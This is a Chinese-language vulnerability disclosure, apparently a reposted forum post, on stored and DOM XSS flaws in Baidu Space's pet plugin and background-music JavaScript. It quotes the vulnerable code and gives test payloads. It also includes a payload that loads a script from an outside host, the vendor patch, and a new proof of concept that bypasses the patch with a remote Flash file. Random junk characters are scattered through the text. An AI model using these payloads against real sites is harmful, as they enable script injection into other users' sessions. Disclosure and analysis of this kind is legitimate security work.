百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
4 _& Y" ?4 ^( y) C
7 D6 C {2 j$ Z$ P# Z1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. ( i+ U$ U, R; @* a. x# L# `- `
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
m$ K& q$ Z$ H1 B5 E6 `/ v
; g! h' e' H9 G$ ]( f将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p> 1 ^* ]1 l3 c; M ^3 |. j1 j
其中BdUtil.insertWBR为 3 r7 k$ V3 E1 `' {' L; A& k
function(text, step) {
. Y' _0 d) `: I9 `- ?+ `2 `* }: Q var textarea = textAreaCache || getContainer(); ! E. q$ R5 J$ M+ [' A' B. M
if (!textarea) {
0 Y' d" K; p. G* [: h( u return text; : W7 S9 \8 `7 r2 w' L4 p! @
} 2 i& H5 Q4 B& _$ q( f9 O" s8 U" a0 p
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); . R' i( U6 ~3 z9 R0 L
var string = textarea.value; 3 |+ ]& y2 a Q, B
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); : b/ ]5 ^2 _% z* X
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
6 A& R% ]$ h3 b) g8 { return result; 7 s) S; K1 A, d
}
( p3 S U8 T% R+ _" `在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
$ U1 T% c! r5 G5 z! ^/ w测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> & B9 Y. ]8 ^3 V+ d& M4 ?! I6 Y$ V
# y1 h' z9 N, z; B) _8 n二:creatbgmusic() Dom-Xss Bug
5 s. n6 z2 W3 t! z+ N百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 8 {1 L7 \* J; O
% n) q; o, K* w( Y+ C) g0 e4 Z
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
) V/ V" h! g( X8 e. n% ~. n. b5 l, Z) N! ` i5 O
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
: m& I c- U m( |* k) w //传入的murl赋值到bgmusic1和bgmusic2中
+ b: `# P4 N2 c R //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 4 e# @! _1 x7 M" O
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
' f! |! {# N9 _# M if (musicnum <= 1) {
0 d* P8 P) A& _ bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; 9 p6 v5 f( Y7 W1 B1 k8 d5 Z
}
8 E- {/ T1 p2 i# E) {" r" e bgmusic1 += "</OBJECT>";
3 W1 s6 B8 q6 Z7 X& N var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; : v- g; z2 Z2 ~5 X% N" G9 y
if (musicnum <= 1) { 6 {$ S0 S9 D, L, K j. l" @; I
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 8 c) X( x2 U# ]% b4 T# B4 ^
}
% Z0 s* b0 ?, L* V9 O. x& n bgmusic2 += "> </EMBED>";
5 g8 c" ?: r8 h) ^& N3 ?' z( m var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
7 J6 v+ M- F6 X! _" C var bgmus = detectWMP();
- M0 F8 I/ J) ^% q+ E8 { if (functype == "FckMusicHelper") {
8 K8 p* j" Q% P0 Z7 G if (bgmus.installed) { 6 [+ k, J. Z! U, W% a( @# I
if (bgmus.type == "IE") { . }! o" u- g2 A: {! ?* [: H. h
return bgmusic1; $ l/ c' O \5 ]) A/ f+ [; t
} else if (bgmus.type == "NS") {
( W+ B9 ?. y& K: ~8 G. v return bgmusic2;
; h/ t) C4 I' w' F+ J+ U }
7 x( a, R! X" w s3 p } else { & e) D! s; R" ~* A# z3 M+ q- {
return bgmusic3; 4 G6 _ v7 O% D5 {9 F- U
} - s0 R# k$ F; P" q
} else { j6 v. [5 C$ d+ \. }- C
if (bgmus.installed) {
( f$ h1 O7 D( n4 T9 n. b //document.write 直接输出bgmusic变量 导致xss
8 t. ^$ q) ?+ S if (bgmus.type == "IE") { # a8 h/ m q( v
document.write(bgmusic1); - s, v+ v: U8 `5 |. ]" ~
} else if (bgmus.type == "NS") { 7 d0 P8 S' ?: ~; _$ s6 Y( D3 W# G) J
document.write(bgmusic2);
8 z' S9 V+ M4 B+ }) c+ N2 @# L }
- @& l0 I! o3 {6 ~2 H( t9 n } else {
' B0 P: A9 `! T3 C document.write(bgmusic3); ' B4 S/ ?3 l0 m
} & H8 y3 P8 X r1 B q7 L2 s
return ""; % U& M3 q9 [$ h5 q2 v( Z5 U( I
} ( _' b( r3 v/ b" b) A, O- q: u
} & ^4 `* W9 n, T- t
8 u( H S, Q. G ^
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
! c: u4 _0 k* l# |5 u# I* V1 K5 c9 b o/ y
function initBlogTextForFCK(){
) K2 p+ W! n$ Q: R% @) V/ L4 Q//fck init music , G8 ]4 z' O0 j$ {* H1 `- T
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
7 c0 H0 N8 K% Yvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
# d6 n6 u% i4 Z2 f- ~" Ivar isAutoPlay=true;
. g v. ]- m) g1 u5 |for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
/ o& x8 m) O! ]( j var img=imgBox; $ n0 ^9 N1 m, X. Z3 u
if(img.getAttribute(’rel’)){
( N# E @* y' _# c' t' _ var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
! T, O$ n1 k3 \( ^ var musicDiv = document.createElement("SPAN"); 2 H9 Q! N) Y6 ]% M! D2 Z- S8 b
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] 9 h; T6 @9 Q+ \- `2 ?8 [5 m
0 N' S" ]7 g+ Q' ~' Y .......................... $ G6 s" H; y Q' c9 g0 B
2 v, U$ J4 P% A7 \( S9 X: r* Q //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. + @& k- r( ?- w; v' I7 Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); ) a0 w" a4 L' v1 b. b, C( g4 j3 |
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 0 a. }% |! n% E+ t0 b
musicDiv.innerHTML=shtml;
& T I3 Q' f# x8 f, H. J3 n. c i--;n--;
$ O( ?9 {6 y+ J7 f! H } 2 c2 o" b7 a" K* B+ V
}
4 A7 L. F8 c) D3 \
' _- X9 ~+ x6 G7 @从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ( {0 S' M8 B0 E/ a# _ Y! P5 u
, x+ M+ k& H/ Y0 j$ T测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
# k9 S" e7 u( Z5 h9 }. E
( |4 u' o* N2 H& |7 I* H等待官方补丁
+ r* Y. M* ?' h' B2 }! U+ E
# B$ I( `. x. }7 i! Wupdate 2010年5月13日
& a: v* w6 b6 J& K+ b2 k" u3 S `3 y' c, n! b* r
官方补丁: : k* b, d5 Q* d/ n& e' _# G
% a m0 i$ S8 X8 ?9 I
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 7 i2 [1 x3 r0 k1 q' r" \+ n$ b" v
改为:
0 c' h6 L) o& c& d( C. F" Wvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
+ P! R& E/ |3 P" I: O5 [
6 ]* X# e6 Y# I& W1 Y; aupdate 2010年5月13日 21:50:37
6 r4 p B ^, Y8 _# v% ? U. e# I+ \7 `4 J) D4 Z: G! i$ K
补丁存在漏洞 没有过滤" 可以继续跨: 9 C. q- I7 q6 l
) y1 M7 g: v" v3 x' eNEW POC:
0 j/ ~/ b# F9 f7 B
0 O/ Y2 b0 o0 X' e<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ) V! E+ ~+ `1 Q5 \
; |! y6 ]3 x% q. z( @% a6 l' g
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
: x* D5 Z0 g- ~& x1 O
7 X) `3 `) ]# \: A: H. j% \ |